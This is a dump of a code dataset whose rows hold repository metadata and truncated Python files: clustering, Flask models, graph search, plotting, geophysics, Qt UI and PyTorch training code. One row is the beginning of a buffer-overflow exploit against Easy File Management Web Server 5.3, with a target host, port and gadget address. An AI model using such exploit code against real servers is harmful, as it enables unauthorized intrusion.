blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 91 | license_type stringclasses 2
values | repo_name stringlengths 3 135 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 68 | visit_date timestamp[ns]date 2015-07-25 20:53:29 2023-09-06 10:46:05 | revision_date timestamp[ns]date 1970-01-01 00:00:00 2037-05-03 13:00:00 | committer_date timestamp[ns]date 1970-01-01 00:00:00 2036-02-09 17:40:36 | github_id int64 1.61k 691M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 24
values | gha_event_created_at timestamp[ns]date 2012-06-03 10:21:33 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-09-13 22:40:33 ⌀ | gha_language stringclasses 250
values | src_encoding stringclasses 27
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10M | extension stringclasses 289
values | filename stringlengths 1 218 | content stringlengths 6 10M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ceb24d2de65265dd3b231e9f07c105e2916ae2a4 | fc9d4a6330c771a4b4805b501dcad3fab6128e86 | /python_scripts/kmeans.py | 94b34af3c9bfeb960b29c23b8e53a7401cf52420 | [] | no_license | ydimtirov/Personal | 9f0659f2a1ac3e33bcd85300ed5239c85e8d9a84 | 7ee57a6696cd543b7cd28373149b924dad8100b8 | refs/heads/master | 2021-01-11T11:58:39.857005 | 2017-02-11T08:53:25 | 2017-02-11T08:53:25 | 79,540,729 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,426 | py | kmeans.py | import numpy as np
import urllib
# url with dataset
url = "http://archive.ics.uci.edu/ml/machine-learning-databases/pima-indians-diabetes/pima-indians-diabetes.data"
# download the file
raw_data = urllib.urlopen(url)
# load the CSV file as a numpy matrix
dataset = np.loadtxt(raw_data, delimiter=",")
# separate the da... |
fee95287b2962bae6bdb7494c4bc377db6e577c4 | 9b334df610bf106cdd6ffa4fedbec40909c1e006 | /mtmrot.py | 4ab6a35fcd0027b30278d0a1c6b3861fc1b6df7e | [] | no_license | KPW10452025/Many_to_Many_Relationships_One_Table | 2d60944acc681b5537538aa841d3352167865b66 | 89033fafdea1ec696dde11ab6c771eb937ceba5a | refs/heads/master | 2023-08-20T05:30:59.963703 | 2021-09-30T03:14:11 | 2021-09-30T03:14:11 | 411,906,899 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,286 | py | mtmrot.py | from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///mtmrot.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
# 關聯表，左側的 user 正在關注右側的 user
association_table_follow = db.Table("association_table_follow",
... |
b9e4209710a735dbb679c0a70b6b36fef54b466e | cf24ade25d2222871c4094c98ffd19dc6a0fe4f2 | /DSA/Graphs-BFS.py | c4e9279b8b072045e4d5d85579a01c033a9ac0f9 | [] | no_license | itsmesoumik23/My-DSA-codes | d628909bae2779b705f80d2107c4b1e4997e8983 | 0b121ad14632bcd89f779ae29277ea690f20604d | refs/heads/main | 2023-06-15T03:58:51.764697 | 2021-07-07T13:14:05 | 2021-07-07T13:14:05 | 380,259,844 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 434 | py | Graphs-BFS.py | # we will traverse through adjacency list
def traverseBFS(graph):
queue = [0]
values = []
seen = {}
while len(queue):
vertex = queue.pop(0)
values.append(vertex)
seen[vertex] = True
connections = graph[vertex]
for i in range(len(connections)):
... |
292497af1838c8c5c761643e9a05b771bfe4d4af | 649bd422025e421d86025743eac324c9b882a2e8 | /exam/1_three-dimensional_atomic_system/dump/phasetrans/temp90_2500.py | 123d7ea6d0912816dcc89b46ef2be573908da50d | [] | no_license | scheuclu/atom_class | 36ddee1f6a5995872e858add151c5942c109847c | 0c9a8c63d9b38898c1869fe8983126cef17662cd | refs/heads/master | 2021-01-21T10:52:28.448221 | 2017-03-07T23:04:41 | 2017-03-07T23:04:41 | 83,489,471 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 68,874 | py | temp90_2500.py | ITEM: TIMESTEP
2500
ITEM: NUMBER OF ATOMS
2048
ITEM: BOX BOUNDS pp pp pp
3.2845243225622767e-01 4.6871547567737167e+01
3.2845243225622767e-01 4.6871547567737167e+01
3.2845243225622767e-01 4.6871547567737167e+01
ITEM: ATOMS id type xs ys zs
8 1 0.129759 0.0638676 0.063568
35 1 0.0719766 0.124962 0.0669987
130 1 0.068234... |
765e8508a91bf87bdfba292e97c009f1dfcef684 | 4bb27835299ead37146792d7115ad7b7e54bb4f6 | /stargazing/utils/print_funcs.py | a4d96911d6968e1b1f2674b216b6d2457b16d2af | [
"MIT"
] | permissive | mtu2/stargazing | b6b0e7c5bb3e1ca25697d4de0dd84dea4ec06cc3 | 8c32728d64e8a7273299ab9d88e814d7a7bb47f2 | refs/heads/master | 2023-07-05T05:28:48.933210 | 2021-08-26T08:46:09 | 2021-08-26T08:46:09 | 389,838,983 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,663 | py | print_funcs.py | from typing import List
from blessed import Terminal
import math
def print_xy(term: Terminal, x: int, y: int, value: str, flush=True, max_width: int = None,
center=False, trim=False):
"""trim and center both require max_width to be given"""
if max_width is not None:
empty_len = max(max_wi... |
4af9680477325d7cd818ea73b64208c152b41d1c | c284b57e41274a6be6238762b746db2c70e823ce | /cit_CyberSecurity/assessments/assessment_1/task_4.py | 23cc604eca3828c09730c3c862fbdaa2bc9f95f9 | [] | no_license | naveen673/pythonprogramming | 31c29d8a366b7db88c030af518d2f7a6f814b8bd | 6403a1315814cfd3d749860e6ba3835e93bc5935 | refs/heads/main | 2023-09-03T12:50:25.233725 | 2021-10-19T12:10:37 | 2021-10-19T12:10:37 | 368,468,705 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 955 | py | task_4.py | '''
Write a python script that will ask a user two questions-
what year he was born and if he already had his birthday this year.
The answer to the first question will be a year (e.g., 1992,
and the answer to the second question will be either “yes” or “no”.
Then, based on these answers, print the user’s correct age on... |
f9594a8ffe1c46779c98949d6739f32f25c1556e | 384ebfc75fd6c163d0c8147a6e0f70dcccd4fad8 | /json2dict.py | 36c3c6e4d64bf2721dd52abaaa7e26079b3be782 | [
"Apache-2.0"
] | permissive | hutepa/json2hcl | 5c6f0c22968f247f8404a5c764bf0a5df9b5933a | b71e477cab15ebb7bf6bf28eecbf6650d559cf6d | refs/heads/main | 2023-09-01T11:39:44.896429 | 2021-04-13T04:30:04 | 2021-04-13T04:30:04 | 410,087,909 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 295 | py | json2dict.py | #!/usr/bin/env python
from argparse import ArgumentParser
import json
parser = ArgumentParser()
parser.add_argument('filename', type=str, metavar="FILE")
args = parser.parse_args()
filename = args.filename
with open(filename, 'r') as fname:
data = json.load(fname)
print(data)
|
f2de4cd9ad8de822582c9873648ccbdb5e6ca9be | caa17088304739a8510f83fc3b56081d327914d3 | /SimPEG/EM/TDEM/SrcTDEM.py | 707d044aff898395a8fa314ec7d2705f09581078 | [
"MIT"
] | permissive | jlartey-aims/Resistivity | 3d57cb222d0b78806d97510341516bdedc9967aa | 9392c110601a8fddeceb88ff1339091d560add41 | refs/heads/master | 2020-04-05T21:38:13.005879 | 2018-10-28T15:29:38 | 2018-10-28T15:29:38 | 157,227,568 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,368 | py | SrcTDEM.py | from __future__ import division, print_function
import numpy as np
from scipy.constants import mu_0
import properties
import warnings
from geoana.em.static import MagneticDipoleWholeSpace, CircularLoopWholeSpace
from SimPEG import Utils
from SimPEG.Utils import Zero, Identity
from SimPEG.EM.Utils import *
from ..Bas... |
faa1b32bea9058241e38baaa3d6c5661899f3634 | 15f7bba48d64d0eeaf7d941853d57cfa293ccc26 | /exploit/EasyFileManager/exploit-calc-p2p.py | c342cde9ef7d092d8d74348c2f2570e96ddb1a6d | [] | no_license | takabaya-shi/CTP-Course-memo | be489fe41f158f71c3ed162850d3c5a2a492f1de | 6a44e0e9b65591ff8d71d296eebfcd1db9dded0a | refs/heads/master | 2022-12-12T04:14:02.365388 | 2020-08-28T07:33:06 | 2020-08-28T07:33:06 | 266,711,910 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,683 | py | exploit-calc-p2p.py | # Exploit Title: Easy File Management Web Server 5.3 - Remote Stack Buffer Overflow
# Tested on: Windows XP SP3 32bit
# Reference: https://www.exploit-db.com/exploits/33453
import sys
import socket
host = "192.168.56.38"
port = 80
#0x7756a634 : ptr to 0x7cfd850f (-> ptr to "jmp esi") ** | {PAGE_EXECUTE_READ} [ole32... |
83f3fe73bd04d0d10e1259a629fb8a4913dc6bd3 | 798bc16d2af058d4795118756b4bb3539c7d0290 | /functions/z_viz_functions.py | f8f2d1e7e886375dc4d9058b8222df74272c3409 | [] | no_license | CityOfLosAngeles/other_i_team_work | 95d17bf14bc5f7312f7184736f23f335b47e53b2 | baf962ee1c001fe9d7cf93d82dab5fcb5d7cf5df | refs/heads/master | 2021-01-02T09:07:17.585697 | 2018-11-01T00:59:13 | 2018-11-01T00:59:13 | 99,145,263 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,068 | py | z_viz_functions.py | from __future__ import division
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
import matplotlib.dates as mdates
from matplotlib.colors import LinearSegmentedColormap
from matplotlib.lines import Line2D
from matplotlib.font_manager import FontManager
import matplotlib.pa... |
68ea3dd7b0a98994d2178effdc02498fd474e167 | 91861531138263bf9c2b787bdab9796919199b69 | /my_env/lib/python3.7/operator.py | 254a56a8ea2875fde40f2d7ca045b66ef52db2ed | [] | no_license | DoroninDobro/Forecast_Telebot_Love_v3 | aa0bc7ffa3bd95496894309533d24a94f38afcf1 | 909af6e3872ea420881588516cd0a9577afcf0da | refs/heads/master | 2022-08-22T18:22:02.860791 | 2020-05-25T15:10:47 | 2020-05-25T15:10:47 | 265,352,096 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 54 | py | operator.py | /home/doronindobro/anaconda3/lib/python3.7/operator.py |
06e947066b5f7f836fc65e8a16acd2e3cc3ccca5 | 61c4cdc70333e820800115eea7052e00fee6b85e | /project/utils/dates.py | 8703e1ddc1db71d91d27ea4c4fdf39b668c57b0f | [] | no_license | agimenezpy/SIECEpy | b28ea0cd15c02ee9622963144629477e05035b47 | 92c94a0cc58b0d7fa4d709ca0187e6020e0cba8b | refs/heads/master | 2021-01-22T11:29:31.846506 | 2018-09-26T19:18:12 | 2018-09-26T19:18:12 | 92,704,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,141 | py | dates.py | import locale
import calendar
from datetime import datetime, date
from werkzeug.contrib import cache
import logging
LOG = logging.getLogger(__name__)
locale.setlocale(locale.LC_ALL, 'es_PY.UTF-8')
results = cache.SimpleCache()
def get_trimester(cur_date=None):
if cur_date is None:
now = datetime.now()
... |
ad292403fa4116b1678198184dc4317f864c23e8 | cca19cc030f0c68d66885adc1ec3d4fb1a77b13e | /model/svc_dump_invest.py | 812c6e9f9159adb530eb9fd0dcb88976f944e407 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | JavonDavis/jps-handoff | 5962c0465588d3953eda5dab726d1f7cf9a69fd7 | 653956db0a2d3bdcb8b22252f80846bc8ce3764c | refs/heads/master | 2021-01-20T21:41:09.680970 | 2015-05-21T18:58:29 | 2015-05-21T18:58:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,150 | py | svc_dump_invest.py | #!/usr/bin/env python
import mechanize
import cookielib
import urllib
import os,time,datetime,csv,sys
from dateutil.relativedelta import relativedelta
from bs4 import BeautifulSoup
local_svc_mountpoint = 'z:\\'
svc_subdir = 'impactlab'
local_pathsep = '\\'
# Construct some loop variables
meter_list = []
start_dates =... |
672ead33ab7524081d75d43a3bf93e3bb2781d06 | c0622674dacbfbd8cd198371c99a65c17d085455 | /flybird/tests/arithmetic_test.py | a7df15be54d3661a37f62c08c0e88801e69f4f24 | [] | no_license | yingfeihong/operation | 33eaf24bdf18a950b14068a3f8e721b6e0e8cf8e | dd63bd3f7e8d843d84e352285130377e725c143e | refs/heads/master | 2022-12-07T14:14:10.272045 | 2020-08-24T15:28:16 | 2020-08-24T15:28:16 | 286,507,274 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 557 | py | arithmetic_test.py | # -*- coding:utf-8 -*-
"""
Module Description:
Date:
Author: Yfh
"""
import random
def do_list_date(arr_a, arr_b):
"""
one
:param arr_a:
:param arr_b:
:return: result
"""
result = []
for array in arr_a:
if array not in arr_b:
result.append(array... |
bd71dc6a110c3687dae2289800374a54feb6307f | 4c34f64db255b6c0ffcc338425343d8c4a5c2fbb | /ex36.py | 29d7e2e01684d8e9f566a04e9a45db13c5d252c1 | [] | no_license | rodolfojbrandao/gitrepository | 46dc62cc64ac0936ac27ec4720fa432fb1724b47 | 178eaab1847ae2f45f0e78d19082d2ae7e032e7b | refs/heads/master | 2020-03-27T01:42:42.618926 | 2018-08-30T19:18:42 | 2018-08-30T19:18:42 | 145,736,214 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | ex36.py | casa = float(input('digite o valor da casa: '))
salario = float(input('digite seu salario: '))
vezes = float(input('digite quantidade de vezes em anos: '))
v1 = casa/(vezes*12)
v2 = salario*0.3
if v1>=v2:
print('financiamento recusado, seu salario deveria ser de {:.2f}'.format(v1/0.3))
else:
print('financiamen... |
040f0affc95687631c5a0285627d5ce793ca1a82 | 5d526ebba7f321dbaee59f759c2d7dfd6147ab98 | /staff/views.py | 08bd1560917327029e4592a1d836ad7496296d9f | [] | no_license | oleggys/recruiting_service | ea60d3ee9bbf71e5119c3182a94916645ba4bebc | 47db428f546ba1c14a9fe2ad7e8e92b766791561 | refs/heads/master | 2021-09-24T14:56:26.650504 | 2020-01-12T19:31:40 | 2020-01-12T19:31:40 | 232,977,155 | 0 | 0 | null | 2021-09-22T18:21:47 | 2020-01-10T06:03:26 | Python | UTF-8 | Python | false | false | 1,506 | py | views.py | from django.shortcuts import render, redirect
# Create your views here.
from .forms import RecruiterForm, SithForm
from .models import Clan
def index(request):
return render(request, template_name='index.html')
def sith_auth(request):
args = {}
if request.method == 'POST':
form = SithForm(reque... |
3cb7bc0f9e372de808992b7b5651b7bce886d0ec | 6c39a433a013423206f539398461b3565de373d3 | /ElGamal_HE.py | e93d12b2c86cbec112ee5818acefe25e600b0783 | [] | no_license | Jiebuaa/homomorphic_encryption | caabbb45a48a1455bfe24327d5bf7a42305a7a03 | fa12c243ace22463cfbae5f078a76b0e9eccf5a2 | refs/heads/main | 2023-06-29T15:16:44.027027 | 2021-07-30T09:19:03 | 2021-07-30T09:19:03 | 384,744,983 | 0 | 2 | null | 2021-07-13T14:47:26 | 2021-07-10T16:40:13 | Python | UTF-8 | Python | false | false | 2,566 | py | ElGamal_HE.py | import random
# To find greatest common divisor of two numbers
def gcd(a, b):
if a < b:
return gcd(b, a)
elif a % b == 0:
return b
else:
return gcd(b, a % b)
# For key generation i.e. large random number
def gen_prime(q):
key = random.randint(pow(10, 20), q)
while gcd(q, ... |
5a202661116c1f1853cfb2a1fd275ec186fc1475 | 8918ec06d11d8d5b0f5bfebfead24933cf2f6bfb | /alert.py | d341e44a2f9f201726ba5519fa9e59f23920230d | [] | no_license | vasantvohra/Facial_Recognition-HAAR-LBP | b9a16a4cb42c50b05d28d429012007dbb4c29a09 | c1198a750cc38bb22ee62ed3a323832bf4004b0d | refs/heads/master | 2021-07-11T19:41:36.649515 | 2020-06-10T17:55:39 | 2020-06-10T17:55:39 | 138,128,580 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 168 | py | alert.py | from pygame import mixer
import time
def alert():
mixer.init()
alert = mixer.Sound('beep-07.wav')
alert.play()
time.sleep(0.1)
alert.play()
alert()
|
894602ceda83aa3b7a0aa289f54a6eea06d5cd8b | ad50b363f692c8948d88ebd9282fb9b1b8a2b918 | /WordBreak.py | bf20356de6655a50cae34da0fb764b518fec67e9 | [] | no_license | krupalshah6996/Competitive_Coding_Problems | b57f998669fd4ebb457facfc118489a03c205dab | ad998a1f61e0f9719e2361e934a5d6fc482dc0da | refs/heads/master | 2022-09-06T21:22:39.620521 | 2020-05-29T02:27:38 | 2020-05-29T02:27:38 | 263,422,257 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 304 | py | WordBreak.py | class Solution:
def wordBreak(self, s: str, wordDict: List[str]) -> bool:
answer = [True]
wordDict = set(wordDict)
for i in range(1, len(s)+1):
answer.append(any(answer[j] and s[j:i] in wordDict for j in range(i)))
# print(answer)
return answer[-1] |
f8350e9f261f0684b0a28ca0b8459639c48225e1 | 292f5a94ec7ed2202c716945bc5495f25319240e | /mgf.py | f733fcaa059b27356bd19026a574824deba97769 | [] | no_license | jephson/bioscripts | 11234ffa4269b3cdf571a5ee72e7ad9fa5428891 | 35392a111856cc7fbd00078e46f04ea84a619bd9 | refs/heads/master | 2021-01-17T17:06:22.802176 | 2017-09-24T16:01:58 | 2017-09-24T16:01:58 | 33,070,305 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,001 | py | mgf.py | class MS2spectrum:
def __init__(self, metadata, fragments):
self.metadata = metadata
self.fragments = fragments
def write(self, f):
f.write('BEGIN IONS\n')
for key in self.metadata:
f.write('{0}={1}\n'.format(key, self.metadata[key]))
for fragment in self.fra... |
a79c170a55cdbc9386776478bd21a2cd26fc6146 | c0418822b08ea01f197ee12cdaf0858fb211087c | /combinations_with_replacement.py | 884e3d54fd29fbfb57a361ae602bf9e73646d6e9 | [] | no_license | vigneshjeyaraman/itertools | 0e1ad00e7f1b4bc40eb21fdffcb695daefaebd16 | 42b9f709bc98d448de776ff36474f4c3450bda5d | refs/heads/master | 2022-12-06T03:13:08.390406 | 2020-08-23T10:12:36 | 2020-08-23T10:12:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 613 | py | combinations_with_replacement.py | import itertools as it
lst = [1,2,3,4,5,6]
# combinations take a lst and a pair as input
itr = it.combinations_with_replacement(lst,2)
# above line of code will generate an iterator object which will have
# pair of elements
# you can access pair either by next(itr) or you have to run a loop over it
for i in itr:
... |
feb0c9d5b820ad2cb5b759886f6b6455d0152dba | 1edec1dc408848f0575aea59f6b68be878f399b5 | /reduction_by_change/train.py | dc2a2955cb861e5efb8d96479cfec1de259bfcbc | [] | no_license | heatherbaier/geozoom-net | 464ac490944f7495392f252159e240ea9b202ad3 | 8f5d936805211ba2a1f0fd5e7b27a48078ce2991 | refs/heads/master | 2023-06-05T16:26:34.543925 | 2021-06-21T17:00:57 | 2021-06-21T17:00:57 | 377,565,351 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,551 | py | train.py | import os
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "3"
from torchvision.utils import make_grid, save_image
import torchvision.models as models
import torch.nn.functional as F
import matplotlib.pyplot as plt
from copy import deepcopy
import numpy as np
import random
import t... |
fe2aa2d0aa8e922d90376859e75239b005781d83 | 83493243099ed8f5138747ab67a839951c5273ca | /main_interface.py | 5370f4c40383bb6899412bede77bdcac74e6d82f | [] | no_license | bolatharwatmee/FaceRecognition | 441a14f88dc5a11f4ae770bbd00810aa2e24af94 | d2892d46043b486d48ed98fb05d4625a67dc7c5b | refs/heads/master | 2020-03-19T13:06:28.231832 | 2018-06-09T03:04:50 | 2018-06-09T03:04:50 | 136,561,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,868 | py | main_interface.py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'main_interface.ui'
#
# Created by: PyQt5 UI code generator 5.10.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
M... |
2b49ae4a3e4d79549e23caa915c726c3a7835f1c | 936f97930da671c7fe60db4c247b69947af4d8b6 | /apic_ml2/neutron/services/l3_router/apic_driver_api.py | 82fd15146c6dd5a8b2201ed9dffea39667c910d9 | [
"Apache-2.0"
] | permissive | AraragiRyou/apic-ml2-driver | 036780c6da812934a0434e4848f79ec4e2bec9c7 | 9093d766d2e17ceccf948bc51e2963d655ce4f37 | refs/heads/master | 2020-05-07T13:05:01.907475 | 2019-02-28T22:26:12 | 2019-02-28T22:26:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,853 | py | apic_driver_api.py | # Copyright (c) 2016 Cisco Systems Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... |
1aa49a543fa7d6888b05691081d4885e80494c04 | 97e6ff50125eade8d8849de396ec32398de4aee4 | /reactor_relay/profiles/email_send_office365_email.py | f1deaea00c463f5a30b99f5a3f1ed7ef887b84a9 | [
"MIT"
] | permissive | AdamTheAnalyst/openc2-reactor-relay | 24eaa27db841ea14e0a3d7ebbbac9526684be8d4 | 53527af874afbbd056bc3a7dfb341b040c26780c | refs/heads/master | 2021-08-31T13:55:44.217418 | 2017-12-21T15:42:59 | 2017-12-21T15:42:59 | 115,021,399 | 0 | 0 | null | 2017-12-21T15:41:44 | 2017-12-21T15:41:44 | null | UTF-8 | Python | false | false | 2,319 | py | email_send_office365_email.py | #####################################################
#__________ __ #
#\______ \ ____ _____ _____/ |_ ___________ #
# | _// __ \\__ \ _/ ___\ __\/ _ \_ __ \ #
# | | \ ___/ / __ \\ \___| | ( <_> ) | \/ #
# |____|_ /\___ >____ /\___ >__| \____/|__| ... |
52c869425ccce7e47a12ed31125b3e0ab25628a9 | 0cb7939b12279f1f4a71fc1c786f984205cce34d | /client/intelligent_collab/services/video_proxy/src/video_proxy/api.py | 21e7a71b7bc38ab597d683c41f83aaee9747d070 | [
"Apache-2.0",
"BSD-3-Clause"
] | permissive | intel/stacks-usecase | 0fc828c6a6068312a3ce2c2e7bb0b2ee0383c475 | 466e62b22d37033d6f798171af1c95cd6ff2303e | refs/heads/master | 2023-09-02T03:36:18.359766 | 2022-12-17T00:26:14 | 2022-12-17T00:26:14 | 206,673,103 | 15 | 21 | Apache-2.0 | 2022-08-25T05:06:39 | 2019-09-05T23:20:19 | Python | UTF-8 | Python | false | false | 1,996 | py | api.py | import signal
from fastapi import Query
import uvicorn
from pydantic import BaseModel
from typing import Optional
import video_service
import video_settings
import config
from logger import logger
from config import app
class VideoSource(BaseModel):
source: str
pix_fmt: Optional[str] = None
res: Option... |
b06f4cfd97ff183fb61b6a3ed5c61976caed3bc2 | cf5ef13c979555dd1149bb2380c391acbf89b938 | /munsell.py | c17b3185c8360242268314af92be0b265cab3bd4 | [] | no_license | erwinkn/munsell-json | baaa40998a05b4977f8a220eb7ab57fea1c98b83 | 22536029a8ff70f0fc0f85ef18a737804552d82a | refs/heads/main | 2023-05-08T11:31:29.811367 | 2021-05-17T12:48:22 | 2021-05-17T12:48:22 | 367,055,459 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,275 | py | munsell.py | import json
from itertools import product, compress, islice, chain
import csv
import os
import argparse
parser = argparse.ArgumentParser("""
Generates a JSON file from Munsell renotation data, processed for rendering.
By default, it includes only colors that can be represented in the sRGB gamut.
The data contains:
... |
3a85325e87b5a7fb191ac19ae161c1d6e7ed964f | ff4e53a2ac02df3d02712bc8843890f23059a3e4 | /processing_basics/tokenization.py | 320f491debec28c09b8b0a7844aec972a23b4477 | [] | no_license | shubh802/NLP | 00c0dc8acf3727af855b0457f420897c71270b63 | 38e9debd38f63746c0d0bf7c2eebfb6407af42b5 | refs/heads/main | 2023-05-07T18:30:57.867231 | 2021-05-30T17:13:57 | 2021-05-30T17:13:57 | 372,269,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,262 | py | tokenization.py | import nltk
# nltk.download()
from nltk.stem import PorterStemmer
from nltk.stem import WordNetLemmatizer
from nltk.corpus import stopwords
paragraph = """If you observe some people then you will notice that human life is a series of tension and problems. Also, they have a variety of concerns relating to their l... |
be7631595abc343093b80bebb7ced0a5e1e13dea | b0f1d3a452d0a8b9818cc94acf35bb1196ea4c7d | /print_function.py | caa7d5571896e8c57b2dd8c909ee61c3cffe9011 | [] | no_license | pranshuboi/hackerrank | 5368a58dfca7d414c2f45efd7bdd3bbbda142ea0 | 47bfd84e1783707b02a9091e2153e3bc23129168 | refs/heads/main | 2023-05-06T00:56:41.979378 | 2021-05-28T14:05:16 | 2021-05-28T14:05:16 | 371,571,537 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 184 | py | print_function.py | from __future__ import print_function
if __name__ == '__main__':
n=int(input())
i=1
s=''
while i<=n:
s=s+str(i)
i=i+1
print(s)
|
bc493c374817f863ef263e7cfcb3e35c109dc8cc | 10a575817887c78ff8dbcc7229ebc80bdaacd6ff | /code/polls/polls.py | 19cd7a7e429ef7a7bda78c4798c1b3fa6d66c7fd | [
"MIT"
] | permissive | Piratelhx/PlaneNet | a347af44eb896edf9172f00b8c89334b13e4b636 | 88eb76d88bb678bd26b7f101f0bb273e4897e92d | refs/heads/master | 2020-04-27T05:25:00.190155 | 2019-01-30T21:45:34 | 2019-01-30T21:45:34 | 174,080,396 | 1 | 0 | MIT | 2019-03-06T05:51:02 | 2019-03-06T05:51:02 | null | UTF-8 | Python | false | false | 47,840 | py | polls.py | #!/usr/bin/env python
# Author: Shao Zhang, Phil Saltzman
# Last Updated: 2015-03-13
#
# This tutorial shows how to detect and respond to collisions. It uses solids
# create in code and the egg files, how to set up collision masks, a traverser,
# and a handler, how to detect collisions, and how to dispatch function ba... |
ba2dc735897e322d88577b8bc0a804d9538f329f | 6754322056cb82ab5d5c013578874a6c9dc9b2af | /ex10-2.py | 8d9d5848de1377eaa41abe9db50582f7097f985b | [] | no_license | Nilipopo/Python | 9fe110becbcab62743e319970ebdfba0f1e62199 | d3b042316bb60ea5e508d6596a7840529f4faf6a | refs/heads/master | 2020-03-24T09:41:29.431214 | 2018-07-28T11:59:42 | 2018-07-28T11:59:42 | 142,635,090 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 643 | py | ex10-2.py | # function & calculate(difference of float & Earth's circumference & Mars circumference)
def float_diff(x1,x2):#compute the difference between two floats
return x1-x2 # 4 retract
x=float(raw_input("Input float 1: "))
y=float(raw_input("Input float 2: "))
print "%s - %s = %s\n"%(x,y,float_diff(x,y))
import numpy as... |
1fb8f463d2c9f82ec664031cec960b93c173b8fa | 1a0f70a4543e8dd7a5c3ca280502df5709a6c3dd | /src/reprep/repcontracts.py | 6eb951c8c5e19bbcc25edf8ed09e0927c076cae2 | [] | no_license | AndreaCensi/reprep | b98f1fa50a1c17439951f8bdd7dd640849f2caaa | cfbb0f423a4b6c923223c6c2b9519f9627884ae0 | refs/heads/z6 | 2023-07-06T19:22:25.890336 | 2020-10-18T11:19:44 | 2020-10-18T11:19:44 | 706,616 | 0 | 3 | null | 2022-11-22T05:58:44 | 2010-06-06T22:39:41 | HTML | UTF-8 | Python | false | false | 606 | py | repcontracts.py | # -*- coding: utf-8 -*-
import re
from contracts import contract, new_contract
from zuper_commons.types import check_isinstance
from .constants import VALID_ID_REGEXP
from .types import NID
__all__ = ["valid_id", "sanitize_id"]
@new_contract
def valid_id(s):
check_isinstance(s, str)
if re.match(VALID_ID_R... |
8c68bc49dc60d19e7c368e3206ce57031a97ce47 | d209dbecd478b809df8c8819ff360d8e6822a98a | /backend-app/interesthub/recommendation/migrations/0001_initial.py | ed8ed158f7b2f130142c47d83f13840cbf81f078 | [] | no_license | ahmetcj4/bounswe2017group6 | d78acb33c434e7007a5cfb9921af38636ee1c696 | 697fb562ad5b33f76ee5a2d562d7e8e8b76a6598 | refs/heads/master | 2020-07-02T04:50:20.210272 | 2018-01-02T13:28:01 | 2018-01-02T13:28:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,076 | py | 0001_initial.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-11-18 14:12
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('content', '0011_comment_updown'),
('user', '0008_auto_20171117_1... |
422304a675f7e069dabaa59c7aacac3286276b99 | 404bad6e3d2535feaf65a36a5ecf0a022e7ca06c | /train.py | 91d56847114087e5507bfac5734d1b9738d20d60 | [] | no_license | BorisChen1998/Semantic-Segmentation | 1d1fb4c16fa78d93ac42b89de73849e629925fad | e390be68bcd7b1764e27d6382c719ff9f930ba6d | refs/heads/master | 2022-04-20T17:57:32.080735 | 2020-04-19T06:56:40 | 2020-04-19T06:56:40 | 248,205,106 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,715 | py | train.py | import torch
import torchvision
import torchvision.transforms as transforms
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
from torch.optim import lr_scheduler
from torch.autograd import Variable
import os
import datetime
from tensorboardX import SummaryWriter
import ... |
